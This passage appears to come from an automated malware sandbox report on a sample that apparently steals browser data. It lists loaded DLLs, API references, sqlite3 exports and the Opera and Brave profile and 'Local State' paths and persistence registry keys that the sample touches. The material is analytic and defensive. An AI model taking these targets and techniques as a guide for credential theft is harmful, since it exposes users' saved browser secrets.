00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\8229f0505633d4bcef019b9d4fab9f18\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management.A#\84c47b5a5813a5f040aee9715a0ff7c0\System.Management.Automation. (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Core\bd9ff1a4363781a57e8f7392f230a203\System.Core.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\49cae79ac18bad142e1ab5a46a8ac306\Microsoft.PowerShell.Commands (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Configuratio#\d6acc39f6c1ea42d8b3150db6184a969\System.Configuration.Install. (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.WSMan.Man#\7bf5729401cff7ea7898124e9818ed20\Microsoft.WSMan.Management.ni (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Transactions\fec007ea17ac8956cc5d6d4074dada6a\System.Transactions.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\f1831ce4588265a3f72e0a581ba58f2a\Microsoft.PowerShell.Commands (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\344e681515d07b93a4f1383f0d625e1e\Microsoft.PowerShell.Commands (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\573750f17b5b8316f04a10956fdd1d97\Microsoft.PowerShell.Security (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\culture.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Xml\77c1dc46ea139bf5e1eaa9b87ef03c7a\System.Xml.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management\00c2b464e52d4e82c04d61592a12a89d\System.Management.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\237ed1739105c1bebe48d41905fdb3ee\System.DirectoryServices.ni.d (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Data\511c39d1efa06d262a6b2f47e2726c73\System.Data.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00005884) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\schtasks.exe (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001736) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001736) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003580) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003580) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003580) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003580) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\schtasks.exe (UID: 00000000-00002180) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002180) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002180) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002180) "6vx5my2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004104) "6vx5my2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004104) "6vx5my2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004104) "6vx5my2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004104)3a:T183e,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00005176.00001438.869861.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00003032.00000000.76106.00A20000.00000004.mdmp, 00000000-00003032.00000000.76113.003B0000.00000004.mdmp, 00000000-00003032.00000000.76113.00800000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00003032.00000000.76113.003B0000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00004104.00000000.69290.00A30000.00000004.mdmp, 00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000000.69290.00B1E000.00000004.mdmp, 00000000-00004104.00000000.69290.00C60000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00B1E000.00000004.mdmp, 00000000-00004104.00000001.71212.02010000.00000004.mdmp, 00000000-00004104.00000002.73135.00A30000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00B1E000.00000004.mdmp, 00000000-00004104.00000002.73135.00C60000.00000004.mdmp, 00000000-00004104.00000003.75745.00A30000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00B1E000.00000004.mdmp, 00000000-00004104.00000003.75745.00C60000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPM" (Indicator: "CreateProcess"; Source: "00000000-00004104.00000000.69290.00A90000.00000004.mdmp, 00000000-00004104.00000001.71212.00A90000.00000004.mdmp, 00000000-00004104.00000002.73135.00A90000.00000004.mdmp, 00000000-00004104.00000003.75745.00A90000.00000004.mdmp") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00004104.00000000.69290.00B1E000.00000004.mdmp, 00000000-00004104.00000001.71212.00B1E000.00000004.mdmp, 00000000-00004104.00000002.73135.00B1E000.00000004.mdmp, 00000000-00004104.00000003.75745.00B1E000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateProcessWithLogonW" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp, 00000000-00005160.00000000.65758.014F0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found reference to API "_COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00005160.00000000.65758.008D0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000000.65705.006B0000.00000004.mdmp, 00000000-00005176.00000001.67629.00160000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00160000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.006B0000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found reference to API "evateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp, 00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found reference to API "1026110800,4792,3136,,CreateProcessA,kernel32.dll,"252:02:34.823",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.00240000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigU&" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000000.65705.006B0000.00000004.mdmp") Found reference to API "15863807810,4792,3136,,CreateProcessA,kernel32.dll,"252:02:41.001",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000001.67629.00240000.00000004.mdmp, 00000000-00005176.00000002.68958.00240000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000002.68958.006B0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")3b:T454,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "IcmpCreateFile" (Indicator: "CreateFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")3c:T6fa,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")3d:T579,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")3e:T463,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")3f:T83e,"sqlite3.dll" contains export function called "sqlite3_activate_cerod" at ordinal 1 "sqlite3.dll" contains export function called "sqlite3_activate_see" at ordinal 2 "sqlite3.dll" contains export function called "sqlite3_aggregate_context" at ordinal 3 "sqlite3.dll" contains export function called "sqlite3_auto_extension" at ordinal 4 "sqlite3.dll" contains export function called "sqlite3_backup_finish" at ordinal 5 "sqlite3.dll" contains export function called "sqlite3_backup_init" at ordinal 6 "sqlite3.dll" contains export function called "sqlite3_backup_pagecount" at ordinal 7 "sqlite3.dll" contains export function called "sqlite3_backup_remaining" at ordinal 8 "sqlite3.dll" contains export function called "sqlite3_backup_step" at ordinal 9 "sqlite3.dll" contains export function called "sqlite3_bind_blob" at ordinal 10 "sqlite3.dll" contains export function called "sqlite3_bind_blob64" at ordinal 11 "sqlite3.dll" contains export function called "sqlite3_bind_double" at ordinal 12 "sqlite3.dll" contains export function called "sqlite3_bind_int" at ordinal 13 "sqlite3.dll" contains export function called "sqlite3_bind_int64" at ordinal 14 "sqlite3.dll" contains export function called "sqlite3_bind_null" at ordinal 15 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_count" at ordinal 16 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_index" at ordinal 17 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_name" at ordinal 18 "sqlite3.dll" contains export function called "sqlite3_bind_pointer" at ordinal 19 "sqlite3.dll" contains export function called "sqlite3_bind_text" at ordinal 20 "sqlite3.dll" contains export function called "sqlite3_bind_text64" at ordinal 21 "sqlite3.dll" contains export function called "sqlite3_bind_value" at ordinal 22 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob" at ordinal 23 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob64" at ordinal 24 "sqlite3.dll" contains export function called "sqlite3_blob_bytes" at ordinal 2540:T1be7,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: dcb10b49c7d8d03b15484c3ca04e7086.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: dcb10b49c7d8d03b15484c3ca04e7086.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: dcb10b49c7d8d03b15484c3ca04e7086.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: dcb10b49c7d8d03b15484c3ca04e7086.exe "System\CurrentControlSet\Control\Session Manager" in Source: 1039-17-0040256D ""p": "%appdata%\\Opera Software\\Opera Stable"," in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ""p": "%localappdata%\\Opera Software\\Opera Neon\\User Data"," in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ""p": "%appdata%\\Opera Software\\Opera GX Stable"," in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ""p": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data"," in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "%appdata%\Opera Software\Opera Stable" in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp "era Software\Opera GX Stable" in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "%appdata%\Opera Software\Opera GX Stable" in Source: 00000000-00004104.00000000.69290.001E0000.00000004.mdmp 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00004104.00000000.69290.00400000.00000040.mdmp 00000000-00004104.00000002.73135.00160000.00000040.mdmp 00000000-00004104.00000002.73135.00400000.00000040.mdmp 00000000-00004104.00000003.75745.00400000.00000040.mdmp "%localappdata%\Opera Software\Opera Neon\User Data" in Source: 00000000-00004104.00000000.69290.00B1E000.00000004.mdmp 00000000-00004104.00000001.71212.00B1E000.00000004.mdmp 00000000-00004104.00000002.73135.00B1E000.00000004.mdmp "%localappdata%\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004104.00000000.69290.00B1E000.00000004.mdmp 00000000-00004104.00000001.71212.00B1E000.00000004.mdmp 00000000-00004104.00000002.73135.00B1E000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera GX Stable\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp "??\C:\Users\HAPUBWS\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Opera Software\Opera Stable\Local State" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data" in Source: 00000000-00004104.00000001.71212.001E0000.00000004.mdmp 00000000-00004104.00000002.73135.001E0000.00000004.mdmp 00000000-00004104.00000003.75745.001E0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Opera Software\Opera Neon\User Data\Local State" in Source: 